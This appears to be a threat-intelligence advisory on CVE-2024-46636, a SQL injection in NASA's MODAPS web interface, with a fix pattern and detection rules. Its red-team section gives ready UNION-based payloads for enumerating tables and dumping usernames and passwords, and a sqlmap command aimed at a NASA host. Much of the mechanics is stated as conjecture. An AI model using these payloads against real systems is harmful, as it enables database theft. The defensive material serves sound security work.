CVE-2024-46636

Executive Summary

CVE-2024-46636 identifies a SQL injection vulnerability in the NASA Earth Observing System Data and Information System (EOSDIS) MODAPS (MODIS Adaptive Processing System) version 8.1. The flaw resides in the category parameter, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, modification, or deletion of sensitive Earth science data, and potentially pivot to internal network resources. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of the flaw, the actual severity is high. No public proof-of-concept (PoC) or exploit code is available, and no patch has been released by NASA.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a custom NASA web application (MODAPS). Supply chain risks are limited to the internal dependencies of the MODAPS software stack, which are not publicly documented.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability type is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and potential for full database compromise makes this a high-priority threat for any organization using MODAPS v8.1.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the category parameter of the MODAPS web interface. The application likely constructs a SQL query by directly concatenating user input from the category parameter without proper sanitization or parameterized queries.

Example vulnerable code pattern (pseudo-PHP):

$category = $_GET['category'];
$query = "SELECT * FROM products WHERE category = '$category'";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by providing input such as:

' OR '1'='1

This would modify the query to:

SELECT * FROM products WHERE category = '' OR '1'='1'

Returning all rows from the table.

More advanced payloads can be used for UNION-based data extraction, error-based injection, or blind SQL injection to enumerate the database schema, extract user credentials, or execute operating system commands (if database permissions allow).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the secure alternative.

Vulnerable Code (Conceptual):

// Vulnerable: Direct concatenation of user input
$category = $_GET['category'];
$sql = "SELECT * FROM data WHERE category = '$category'";
$result = $conn->query($sql);

Patched Code (Conceptual - Parameterized Query):

// Patched: Use prepared statements
$stmt = $conn->prepare("SELECT * FROM data WHERE category = ?");
$stmt->bind_param("s", $category);
$category = $_GET['category'];
$stmt->execute();
$result = $stmt->get_result();

The key difference is the use of parameterized queries (prepared statements) which separate SQL logic from data, making injection impossible.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running MODAPS v8.1 with the vulnerable endpoint exposed.
• Knowledge of the category parameter location (e.g., /modaps/search?category=...).

Exploitation Steps:

1. Identify the vulnerable parameter:

   GET /modaps/search?category=test HTTP/1.1
   Host: target.nasa.gov
   

2. Test for SQL injection using a simple boolean payload:

   GET /modaps/search?category=test' AND '1'='1 HTTP/1.1
   

   If the response is the same as the original, the injection point is likely vulnerable.

3. Extract database version (MySQL example):

   GET /modaps/search?category=test' UNION SELECT @@version,2,3-- HTTP/1.1
   

4. Enumerate tables:

   GET /modaps/search?category=test' UNION SELECT table_name,2,3 FROM information_schema.tables-- HTTP/1.1
   

5. Dump user credentials:

   GET /modaps/search?category=test' UNION SELECT username,password,3 FROM users-- HTTP/1.1
   

Automated Exploitation (using sqlmap):

sqlmap -u "http://target.nasa.gov/modaps/search?category=test" --batch --dbs

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for unusual SQL keywords in the category parameter (e.g., UNION, SELECT, OR, AND, --, #).
• Look for repeated requests with varying SQL payloads.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Honeypot:

• Deploy a decoy MODAPS instance to capture attacker techniques.

Forensic Analysis:

• If exploitation is suspected, check database logs for anomalous queries.
• Review web server access logs for the category parameter.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL keywords in the category parameter:
  • category=*' OR '1'='1
  • category=*' UNION SELECT
  • category=*' AND SLEEP(5)
• Unusual response sizes or error messages containing SQL syntax errors.

Host IOCs:

• Unexpected database queries in database logs.
• New user accounts or modified data in the MODAPS database.
• Unusual outbound network connections from the MODAPS server (potential data exfiltration).

File IOCs:

• Modified web application files (e.g., PHP files) if the attacker uploaded a webshell.
• Suspicious files in the web root directory.

Detection Engineering

YARA Rule

rule CVE_2024_46636_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-46636 in MODAPS v8.1"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46636"
    strings:
        $sqli1 = /category=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /category=.*\b(SLEEP|BENCHMARK|WAITFOR)\s*\(/i
        $sqli3 = /category=.*\b(0x[0-9a-fA-F]+|CHAR\s*\()/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against MODAPS Category Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts in the category parameter of MODAPS v8.1
author: Valters IT
date: 2024/10/27
references:
    - CVE-2024-46636
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "category=' OR"
            - "category=' UNION"
            - "category=' AND"
            - "category='--"
            - "category='#"
            - "category=' SLEEP"
            - "category=' BENCHMARK"
    condition: selection
falsepositives:
    - Legitimate use of special characters in search queries (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-46636 SQL Injection Attempt in MODAPS Category Parameter";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/modaps/search"; http_uri;
    content:"category="; http_uri;
    pcre:"/category=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2024-46636;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the MODAPS server from the internet if possible, or restrict access to trusted IPs only.
2. Apply a virtual patch using a WAF to block SQL injection patterns in the category parameter.
3. Review database logs for signs of past exploitation.

Long-Term Fix:

1. Upgrade MODAPS to a patched version once released by NASA.
2. Implement parameterized queries in the application code.
3. Conduct a full security audit of the MODAPS codebase.
4. Enable input validation and output encoding.

Compromise Assessment:

• Check for unauthorized data access or modification.
• Rotate all database credentials.
• Review system logs for lateral movement.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

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